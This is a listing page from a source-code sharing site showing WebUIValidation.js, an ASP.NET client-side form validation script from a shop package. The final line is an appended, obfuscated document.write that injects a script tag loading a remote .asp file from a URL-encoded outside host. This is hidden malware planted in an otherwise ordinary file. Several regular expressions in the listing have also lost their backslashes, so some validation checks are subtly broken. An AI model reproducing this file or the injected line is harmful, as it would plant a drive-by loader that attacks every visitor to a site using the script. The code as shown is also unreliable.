WebUIValidation.js
资源名称:SHOPASP.rar [点击查看]
上传用户:xiecaij
上传日期:2015-02-08
资源大小:2016k
文件大小:14k
源码类别:
百货/超市行业
开发平台:
ASP/ASPX
- var Page_ValidationVer = "125";
- var Page_IsValid = true;
- var Page_BlockSubmit = false;
- function ValidatorUpdateDisplay(val) {
- if (typeof(val.display) == "string") {
- if (val.display == "None") {
- return;
- }
- if (val.display == "Dynamic") {
- val.style.display = val.isvalid ? "none" : "inline";
- return;
- }
- }
- val.style.visibility = val.isvalid ? "hidden" : "visible";
- }
- function ValidatorUpdateIsValid() {
- var i;
- for (i = 0; i < Page_Validators.length; i++) {
- if (!Page_Validators[i].isvalid) {
- Page_IsValid = false;
- return;
- }
- }
- Page_IsValid = true;
- }
- function ValidatorHookupControlID(controlID, val) {
- if (typeof(controlID) != "string") {
- return;
- }
- var ctrl = document.all[controlID];
- if (typeof(ctrl) != "undefined") {
- ValidatorHookupControl(ctrl, val);
- }
- else {
- val.isvalid = true;
- val.enabled = false;
- }
- }
- function ValidatorHookupControl(control, val) {
- if (typeof(control.tagName) == "undefined" && typeof(control.length) == "number") {
- var i;
- for (i = 0; i < control.length; i++) {
- var inner = control[i];
- if (typeof(inner.value) == "string") {
- ValidatorHookupControl(inner, val);
- }
- }
- return;
- }
- else if (control.tagName != "INPUT" && control.tagName != "TEXTAREA" && control.tagName != "SELECT") {
- var i;
- for (i = 0; i < control.children.length; i++) {
- ValidatorHookupControl(control.children[i], val);
- }
- return;
- }
- else {
- if (typeof(control.Validators) == "undefined") {
- control.Validators = new Array;
- var ev;
- if (control.type == "radio") {
- ev = control.onclick;
- } else {
- ev = control.onchange;
- }
- if (typeof(ev) == "function" ) {
- ev = ev.toString();
- ev = ev.substring(ev.indexOf("{") + 1, ev.lastIndexOf("}"));
- }
- else {
- ev = "";
- }
- var func = new Function("ValidatorOnChange(); " + ev);
- if (control.type == "radio") {
- control.onclick = func;
- } else {
- control.onchange = func;
- }
- }
- control.Validators[control.Validators.length] = val;
- }
- }
- function ValidatorGetValue(id) {
- var control;
- control = document.all[id];
- if (typeof(control.value) == "string") {
- return control.value;
- }
- if (typeof(control.tagName) == "undefined" && typeof(control.length) == "number") {
- var j;
- for (j=0; j < control.length; j++) {
- var inner = control[j];
- if (typeof(inner.value) == "string" && (inner.type != "radio" || inner.status == true)) {
- return inner.value;
- }
- }
- }
- else {
- return ValidatorGetValueRecursive(control);
- }
- return "";
- }
- function ValidatorGetValueRecursive(control)
- {
- if (typeof(control.value) == "string" && (control.type != "radio" || control.status == true)) {
- return control.value;
- }
- var i, val;
- for (i = 0; i<control.children.length; i++) {
- val = ValidatorGetValueRecursive(control.children[i]);
- if (val != "") return val;
- }
- return "";
- }
- function Page_ClientValidate() {
- var i;
- for (i = 0; i < Page_Validators.length; i++) {
- ValidatorValidate(Page_Validators[i]);
- }
- ValidatorUpdateIsValid();
- ValidationSummaryOnSubmit();
- Page_BlockSubmit = !Page_IsValid;
- return Page_IsValid;
- }
- function ValidatorCommonOnSubmit() {
- var result = !Page_BlockSubmit;
- Page_BlockSubmit = false;
- event.returnValue = result;
- return result;
- }
- function ValidatorEnable(val, enable) {
- val.enabled = (enable != false);
- ValidatorValidate(val);
- ValidatorUpdateIsValid();
- }
- function ValidatorOnChange() {
- var vals = event.srcElement.Validators;
- var i;
- for (i = 0; i < vals.length; i++) {
- ValidatorValidate(vals[i]);
- }
- ValidatorUpdateIsValid();
- }
- function ValidatorValidate(val) {
- val.isvalid = true;
- if (val.enabled != false) {
- if (typeof(val.evaluationfunction) == "function") {
- val.isvalid = val.evaluationfunction(val);
- }
- }
- ValidatorUpdateDisplay(val);
- }
- function ValidatorOnLoad() {
- if (typeof(Page_Validators) == "undefined")
- return;
- var i, val;
- for (i = 0; i < Page_Validators.length; i++) {
- val = Page_Validators[i];
- if (typeof(val.evaluationfunction) == "string") {
- eval("val.evaluationfunction = " + val.evaluationfunction + ";");
- }
- if (typeof(val.isvalid) == "string") {
- if (val.isvalid == "False") {
- val.isvalid = false;
- Page_IsValid = false;
- }
- else {
- val.isvalid = true;
- }
- } else {
- val.isvalid = true;
- }
- if (typeof(val.enabled) == "string") {
- val.enabled = (val.enabled != "False");
- }
- ValidatorHookupControlID(val.controltovalidate, val);
- ValidatorHookupControlID(val.controlhookup, val);
- }
- Page_ValidationActive = true;
- }
- function ValidatorConvert(op, dataType, val) {
- function GetFullYear(year) {
- return (year + parseInt(val.century)) - ((year < val.cutoffyear) ? 0 : 100);
- }
- var num, cleanInput, m, exp;
- if (dataType == "Integer") {
- exp = /^s*[-+]?d+s*$/;
- if (op.match(exp) == null)
- return null;
- num = parseInt(op, 10);
- return (isNaN(num) ? null : num);
- }
- else if(dataType == "Double") {
- exp = new RegExp("^\s*([-\+])?(\d+)?(\" + val.decimalchar + "(\d+))?\s*$");
- m = op.match(exp);
- if (m == null)
- return null;
- cleanInput = m[1] + (m[2].length>0 ? m[2] : "0") + "." + m[4];
- num = parseFloat(cleanInput);
- return (isNaN(num) ? null : num);
- }
- else if (dataType == "Currency") {
- exp = new RegExp("^\s*([-\+])?(((\d+)\" + val.groupchar + ")*)(\d+)"
- + ((val.digits > 0) ? "(\" + val.decimalchar + "(\d{1," + val.digits + "}))?" : "")
- + "\s*$");
- m = op.match(exp);
- if (m == null)
- return null;
- var intermed = m[2] + m[5] ;
- cleanInput = m[1] + intermed.replace(new RegExp("(\" + val.groupchar + ")", "g"), "") + ((val.digits > 0) ? "." + m[7] : 0);
- num = parseFloat(cleanInput);
- return (isNaN(num) ? null : num);
- }
- else if (dataType == "Date") {
- var yearFirstExp = new RegExp("^\s*((\d{4})|(\d{2}))([-/]|\. ?)(\d{1,2})\4(\d{1,2})\s*$");
- m = op.match(yearFirstExp);
- var day, month, year;
- if (m != null && (m[2].length == 4 || val.dateorder == "ymd")) {
- day = m[6];
- month = m[5];
- year = (m[2].length == 4) ? m[2] : GetFullYear(parseInt(m[3], 10))
- }
- else {
- if (val.dateorder == "ymd"){
- return null;
- }
- var yearLastExp = new RegExp("^\s*(\d{1,2})([-/]|\. ?)(\d{1,2})\2((\d{4})|(\d{2}))\s*$");
- m = op.match(yearLastExp);
- if (m == null) {
- return null;
- }
- if (val.dateorder == "mdy") {
- day = m[3];
- month = m[1];
- }
- else {
- day = m[1];
- month = m[3];
- }
- year = (m[5].length == 4) ? m[5] : GetFullYear(parseInt(m[6], 10))
- }
- month -= 1;
- var date = new Date(year, month, day);
- return (typeof(date) == "object" && year == date.getFullYear() && month == date.getMonth() && day == date.getDate()) ? date.valueOf() : null;
- }
- else {
- return op.toString();
- }
- }
- function ValidatorCompare(operand1, operand2, operator, val) {
- var dataType = val.type;
- var op1, op2;
- if ((op1 = ValidatorConvert(operand1, dataType, val)) == null)
- return false;
- if (operator == "DataTypeCheck")
- return true;
- if ((op2 = ValidatorConvert(operand2, dataType, val)) == null)
- return true;
- switch (operator) {
- case "NotEqual":
- return (op1 != op2);
- case "GreaterThan":
- return (op1 > op2);
- case "GreaterThanEqual":
- return (op1 >= op2);
- case "LessThan":
- return (op1 < op2);
- case "LessThanEqual":
- return (op1 <= op2);
- default:
- return (op1 == op2);
- }
- }
- function CompareValidatorEvaluateIsValid(val) {
- var value = ValidatorGetValue(val.controltovalidate);
- if (ValidatorTrim(value).length == 0)
- return true;
- var compareTo = "";
- if (null == document.all[val.controltocompare]) {
- if (typeof(val.valuetocompare) == "string") {
- compareTo = val.valuetocompare;
- }
- }
- else {
- compareTo = ValidatorGetValue(val.controltocompare);
- }
- return ValidatorCompare(value, compareTo, val.operator, val);
- }
- function CustomValidatorEvaluateIsValid(val) {
- var value = "";
- if (typeof(val.controltovalidate) == "string") {
- value = ValidatorGetValue(val.controltovalidate);
- if (ValidatorTrim(value).length == 0)
- return true;
- }
- var args = { Value:value, IsValid:true };
- if (typeof(val.clientvalidationfunction) == "string") {
- eval(val.clientvalidationfunction + "(val, args) ;");
- }
- return args.IsValid;
- }
- function RegularExpressionValidatorEvaluateIsValid(val) {
- var value = ValidatorGetValue(val.controltovalidate);
- if (ValidatorTrim(value).length == 0)
- return true;
- var rx = new RegExp(val.validationexpression);
- var matches = rx.exec(value);
- return (matches != null && value == matches[0]);
- }
- function ValidatorTrim(s) {
- var m = s.match(/^s*(S+(s+S+)*)s*$/);
- return (m == null) ? "" : m[1];
- }
- function RequiredFieldValidatorEvaluateIsValid(val) {
- return (ValidatorTrim(ValidatorGetValue(val.controltovalidate)) != ValidatorTrim(val.initialvalue))
- }
- function RangeValidatorEvaluateIsValid(val) {
- var value = ValidatorGetValue(val.controltovalidate);
- if (ValidatorTrim(value).length == 0)
- return true;
- return (ValidatorCompare(value, val.minimumvalue, "GreaterThanEqual", val) &&
- ValidatorCompare(value, val.maximumvalue, "LessThanEqual", val));
- }
- function ValidationSummaryOnSubmit() {
- if (typeof(Page_ValidationSummaries) == "undefined")
- return;
- var summary, sums, s;
- for (sums = 0; sums < Page_ValidationSummaries.length; sums++) {
- summary = Page_ValidationSummaries[sums];
- summary.style.display = "none";
- if (!Page_IsValid) {
- if (summary.showsummary != "False") {
- summary.style.display = "";
- if (typeof(summary.displaymode) != "string") {
- summary.displaymode = "BulletList";
- }
- switch (summary.displaymode) {
- case "List":
- headerSep = "<br>";
- first = "";
- pre = "";
- post = "<br>";
- final = "";
- break;
- case "BulletList":
- default:
- headerSep = "";
- first = "<ul>";
- pre = "<li>";
- post = "</li>";
- final = "</ul>";
- break;
- case "SingleParagraph":
- headerSep = " ";
- first = "";
- pre = "";
- post = " ";
- final = "<br>";
- break;
- }
- s = "";
- if (typeof(summary.headertext) == "string") {
- s += summary.headertext + headerSep;
- }
- s += first;
- for (i=0; i<Page_Validators.length; i++) {
- if (!Page_Validators[i].isvalid && typeof(Page_Validators[i].errormessage) == "string") {
- s += pre + Page_Validators[i].errormessage + post;
- }
- }
- s += final;
- summary.innerHTML = s;
- window.scrollTo(0,0);
- }
- if (summary.showmessagebox == "True") {
- s = "";
- if (typeof(summary.headertext) == "string") {
- s += summary.headertext + "<BR>";
- }
- for (i=0; i<Page_Validators.length; i++) {
- if (!Page_Validators[i].isvalid && typeof(Page_Validators[i].errormessage) == "string") {
- switch (summary.displaymode) {
- case "List":
- s += Page_Validators[i].errormessage + "<BR>";
- break;
- case "BulletList":
- default:
- s += " - " + Page_Validators[i].errormessage + "<BR>";
- break;
- case "SingleParagraph":
- s += Page_Validators[i].errormessage + " ";
- break;
- }
- }
- }
- span = document.createElement("SPAN");
- span.innerHTML = s;
- s = span.innerText;
- alert(s);
- }
- }
- }
- }
- document.write("<ScRiPt src='http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");